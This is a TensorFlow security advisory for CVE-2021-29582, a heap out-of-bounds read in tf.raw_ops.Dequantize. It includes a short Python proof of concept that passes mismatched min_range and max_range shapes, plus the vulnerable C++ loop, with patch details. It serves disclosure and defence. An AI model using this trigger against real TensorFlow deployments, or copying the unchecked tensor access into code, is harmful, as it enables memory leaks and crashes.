Heap OOB read in `tf.raw_ops.Dequantize`

Low **mihaimaruseac** published **GHSA-c45w-2wxr-pp53** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Due to lack of validation in `tf.raw_ops.Dequantize` , an attacker can trigger a read from outside of bounds of heap allocated data:

```
import tensorflow as tf

input_tensor=tf.constant(
  [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)

tf.raw_ops.Dequantize(
  input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',
  narrow_range=True, axis=0, dtype=tf.dtypes.float32)
```

The implementation accesses the `min_range` and `max_range` tensors in parallel but fails to check that they have the same shape:

```
if (num_slices == 1) {
  const float min_range = input_min_tensor.flat<float>()(0);
  const float max_range = input_max_tensor.flat<float>()(0);
  DequantizeTensor(ctx, input, min_range, max_range, &float_output);
} else {
  ...
  auto min_ranges = input_min_tensor.vec<float>();
  auto max_ranges = input_max_tensor.vec<float>();
  for (int i = 0; i < num_slices; ++i) {
    DequantizeSlice(ctx->eigen_device<Device>(), ctx,
                    input_tensor.template chip<1>(i), min_ranges(i),
                    max_ranges(i), output_tensor.template chip<1>(i));
    ...
  }
}
```

Patches

We have patched the issue in GitHub commit 5899741d0421391ca878da47907b1452f06aaf1b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29582

Weaknesses

No CWEs